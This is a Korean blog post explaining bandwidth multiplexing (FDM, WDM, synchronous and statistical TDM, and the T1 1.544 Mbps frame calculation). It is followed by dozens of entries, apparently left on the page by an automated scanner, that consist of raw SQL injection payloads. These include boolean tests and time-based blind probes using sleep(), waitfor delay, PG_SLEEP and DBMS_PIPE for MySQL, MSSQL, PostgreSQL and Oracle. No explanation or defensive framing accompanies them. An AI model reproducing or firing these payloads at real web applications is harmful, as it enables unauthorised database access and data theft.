[네트워크프로토콜] Bandwidth 활용, 멀티플랙싱
by VICENTE97P4
March 23, 2022, 8:53 p.m.
Bandwidth를 효율적으로 사용하기 위해 다중화 기술을 활용합니다.
여러명이 1개의 link를 공유하는 것이 다중화의 원리입니다.
traffic을 공유하는 장비로 MUX를 사용합니다. 수신측에서는 DEMUX를 사용하죠.
1개의 라인에서 n개의 채널을 제공해서 n명의 user들이 사용할 수 있습니다.
다른 층에서도 구현 가능하지만 통상 1, 2계층에서 다중화 기술을 구현합니다.
1G는 FDMA, 2G는 TDMA, 3G는 CDMA를 씁니다. 이는 2계층 다중화 기술이죠.
FDM, TDM은 1계층 다중화 기술입니다.
FDA(Frequency-division multiplexing)
주파수 분할 방식으로 Analog 방식입니다.
하나의 link를 여러 채널로 나눕니다. 주파수 영역에서 bandwidth를 나누죠.
만일, 3명이 전화를 하는데 modulation을 하지 않고 보내면 서로의 주파수 영역이 충돌할 수 있습니다.
이를 막기 위해 FDM방식으로 변조해서 서로 다른 주파수 영역으로 이동시켜서 충돌하지 않게 해줍니다.
수신측에서 demultiplexing할 때는 filter로 원 신호를 빼냅니다.
그리고 채널 별로 경계 지역에서 겹치지 않게 각 채널과 채널 사이에 가드밴드를 둡니다.
이 가드밴드 때문에 전화에 할당된 4kHz를 온전히 다 쓰는 것이 아닙니다.
사실 요즘 전화는 digital 방식으로 바뀌었습니다.
디지털 회로가 구현할 때에 값이 더 싸기 때문입니다.
FDM은 전송할 때 다음과 같이 계층구조로 묶어서 보냅니다.
12 채널을 묶고, 또 그걸 5채널씩 묶고(총 60채널이 됨) 또.. 이런 방식이죠.
uplink: 사용자 -> 기지국 방향, 말을 할 때의 방향입니다.
downlink: 기지국 -> 사용자 방향, 상대방의 말을 들을 때의 방향입니다.
음성 전송의 경우 유선이면 4kHz면 충분하지만 무선이면 에러가 생기기 때문에 오버헤드를 많이 줘서 30kHz씩 할당해줍니다.
WDM(wavelength-division multiplexing) 광통신 방식
프리즘 같은 장비로 파장을 합하고 나눠줍니다.
광케이블이 bandwidth가 높아서 많이 씁니다.
역시 analog 방식입니다.
TDM(time-division multiplexing)
TDM은 analog가 아닌 digital 방식입니다.
채녈을 시간을 나눠서 돌아가면서 쓰는 방식입니다.
Synchronous TDM
서로 다른 채널의 내용을 한꺼번에 묶어서 보내니까 높은 rate를 요구합니다.
각 user들이 T시간동안 data를 생성하고 묶어서 frame을 만듭니다.
주기(T)와 data rate은 반비례합니다. 한 frame을 T시간 동안 보내야하기 때문이죠.
예를 들어 data rate가 1kbps라면 주기는 1ms입니다.
Interleaving
역시 동기 방식입니다.
자기 차례에 data를 끼워넣습니다.
위에서부터 넣고, 순서가 고정되어있습니다.
수신측은 거꾸로 돌아가면서 빼냅니다.
Empty slots
중간에 data가 없을 수도 있습니다.
하지만 동기식 방식은 항상 frame으로 묶어서 보내니까 낭비가 생깁니다.
이 빈 공간을 empty slot이라고 합니다.
data rate이 낮으면 묶어서 보내는 multilevel multiplexing,
data rate이 높으면 분리해서 보내는 Multiple-slot multiplexing,
애매하게 data rate가 모자라면 dummy data를 넣어서 sync를 맞춰주는 pulse stuffing이 있습니다.
Header
frame 앞에 header를 붙여서 순서대로 잘 들어오고 있는지 sync pattern과 확인하는 방법이 있습니다.
이 header 때문에 data rate가 data만 계산해서 구한 것보다 약간 클 수 있습니다.
음성을 digital로 보낼때는 64kbps가 필요합니다.(analog는 4kHz입니다. 단위가 다릅니다.)
원래 전화에서 PCM을 거쳤더니 4kHz에서 64kbps가 되었습니다.
그런데 한 채널 당 8bit니까 frame은 초당 8k개만 생성됩니다. 즉, frame rate는 8k/s 입니다.
그럼, 24 * 64 + 8kbps(header 크기) = 1.544mbps가 output rate가 됩니다.
한 frame 당 24개의 채널이 있고 한 채널당 8bits입니다.
그럼 24*8 + 1(header) bits = 193bits가 frame 1개의 크기가 됩니다.
frame rate는 8k/s 이니까, 193 * 8000 = 1.544Mbps가 output rate이라고 계산할 수도 있습니다.
statistical TDM
아까 동기 TDM 방식에서 empty slots이 낭비가 된다는 이야기를 했습니다.
이를 낭비를 방지하기 위해 나온 것이 statistical TDM입니다.
statistical TDM은 있는 data만 보냅니다.
따라서 고정된 자리가 아니기 때문에 어떤 line에서 온 data라는 것을 알리는 line 주소가 있습니다.
이 line 주소라는 필연적인 overhead 때문에 실제 전화에서는 잘 안 쓰입니다.
오히려 인터넷에서 패킷 전송 방식이 이 방식을 발전시킨 방식입니다.
네트워크프로토콜 59 view 673
-1' OR 2+291-291-1=0+0+0+1 or 'o8gf0S72'='
Updated: Feb. 22, 2025, 5:28 p.m.
-1' OR 3+291-291-1=0+0+0+1 or 'o8gf0S72'='
Updated: Feb. 22, 2025, 5:28 p.m.
-1" OR 2+352-352-1=0+0+0+1 --
Updated: Feb. 22, 2025, 5:28 p.m.
-1" OR 3+352-352-1=0+0+0+1 --
Updated: Feb. 22, 2025, 5:28 p.m.
*if(now()=sysdate(),sleep(15),0)
Updated: Feb. 22, 2025, 5:28 p.m.
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
Updated: Feb. 22, 2025, 5:28 p.m.
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
Updated: Feb. 22, 2025, 5:28 p.m.
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
Updated: Feb. 22, 2025, 5:28 p.m.
-1; waitfor delay '0:0:15' --
Updated: Feb. 22, 2025, 5:28 p.m.
-1); waitfor delay '0:0:15' --
Updated: Feb. 22, 2025, 5:28 p.m.
-1 waitfor delay '0:0:15' --
Updated: Feb. 22, 2025, 5:28 p.m.
DXBqcTsU'; waitfor delay '0:0:15' --
Updated: Feb. 22, 2025, 5:28 p.m.
-1 OR 491=(SELECT 491 FROM PG_SLEEP(15))--
Updated: Feb. 22, 2025, 5:28 p.m.
-1) OR 652=(SELECT 652 FROM PG_SLEEP(15))--
Updated: Feb. 22, 2025, 5:28 p.m.
-1)) OR 211=(SELECT 211 FROM PG_SLEEP(15))--
Updated: Feb. 22, 2025, 5:28 p.m.
Pl8LGLke' OR 912=(SELECT 912 FROM PG_SLEEP(15))--
Updated: Feb. 22, 2025, 5:28 p.m.
3VKhSFm1') OR 292=(SELECT 292 FROM PG_SLEEP(15))--
Updated: Feb. 22, 2025, 5:28 p.m.
sd5dokvH')) OR 727=(SELECT 727 FROM PG_SLEEP(15))--
Updated: Feb. 22, 2025, 5:28 p.m.
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
Updated: Feb. 22, 2025, 5:28 p.m.
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
Updated: Feb. 22, 2025, 5:28 p.m.
'"
Updated: Feb. 22, 2025, 5:28 p.m.
����%2527%2522\'\"
Updated: Feb. 22, 2025, 5:28 p.m.
@@od9Ej
Updated: Feb. 22, 2025, 5:28 p.m.
1
Updated: Feb. 22, 2025, 5:44 p.m.
1
Updated: Feb. 22, 2025, 5:44 p.m.
555
Updated: Feb. 22, 2025, 5:44 p.m.
1
Updated: Feb. 22, 2025, 5:44 p.m.
1
Updated: Feb. 22, 2025, 5:44 p.m.
1
Updated: Feb. 22, 2025, 5:44 p.m.
1
Updated: Feb. 22, 2025, 5:44 p.m.
1
Updated: Feb. 22, 2025, 5:45 p.m.
-1 OR 2+868-868-1=0+0+0+1 --
Updated: Feb. 22, 2025, 5:45 p.m.
-1 OR 2+538-538-1=0+0+0+1
Updated: Feb. 22, 2025, 5:45 p.m.
-1' OR 2+180-180-1=0+0+0+1 --
Updated: Feb. 22, 2025, 5:45 p.m.
-1' OR 2+542-542-1=0+0+0+1 or 'ji0CnieF'='
Updated: Feb. 22, 2025, 5:45 p.m.
-1" OR 2+277-277-1=0+0+0+1 --
Updated: Feb. 22, 2025, 5:45 p.m.
1*if(now()=sysdate(),sleep(15),0)
Updated: Feb. 22, 2025, 5:45 p.m.
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
Updated: Feb. 22, 2025, 5:45 p.m.
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
Updated: Feb. 22, 2025, 5:45 p.m.
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
Updated: Feb. 22, 2025, 5:45 p.m.
1-1; waitfor delay '0:0:15' --
Updated: Feb. 22, 2025, 5:45 p.m.
1-1); waitfor delay '0:0:15' --
Updated: Feb. 22, 2025, 5:45 p.m.
1-1 waitfor delay '0:0:15' --
Updated: Feb. 22, 2025, 5:45 p.m.
1nqmdK7F7'; waitfor delay '0:0:15' --
Updated: Feb. 22, 2025, 5:45 p.m.
1-1 OR 956=(SELECT 956 FROM PG_SLEEP(15))--
Updated: Feb. 22, 2025, 5:45 p.m.
1-1) OR 973=(SELECT 973 FROM PG_SLEEP(15))--
Updated: Feb. 22, 2025, 5:45 p.m.
1-1)) OR 166=(SELECT 166 FROM PG_SLEEP(15))--
Updated: Feb. 22, 2025, 5:45 p.m.
1neZGOxUY' OR 640=(SELECT 640 FROM PG_SLEEP(15))--
Updated: Feb. 22, 2025, 5:45 p.m.
1tbPQUl6Y') OR 653=(SELECT 653 FROM PG_SLEEP(15))--
Updated: Feb. 22, 2025, 5:45 p.m.
1kGmgVSBK')) OR 733=(SELECT 733 FROM PG_SLEEP(15))--
Updated: Feb. 22, 2025, 5:45 p.m.
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
Updated: Feb. 22, 2025, 5:45 p.m.
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
Updated: Feb. 22, 2025, 5:45 p.m.
1
Updated: Feb. 22, 2025, 5:45 p.m.
1'"
Updated: Feb. 22, 2025, 5:45 p.m.
1����%2527%2522\'\"
Updated: Feb. 22, 2025, 5:45 p.m.
@@IOgOR
Updated: Feb. 22, 2025, 5:45 p.m.
555
Updated: Feb. 22, 2025, 5:45 p.m.
555
Updated: Feb. 22, 2025, 5:45 p.m.
555
Updated: Feb. 22, 2025, 5:45 p.m.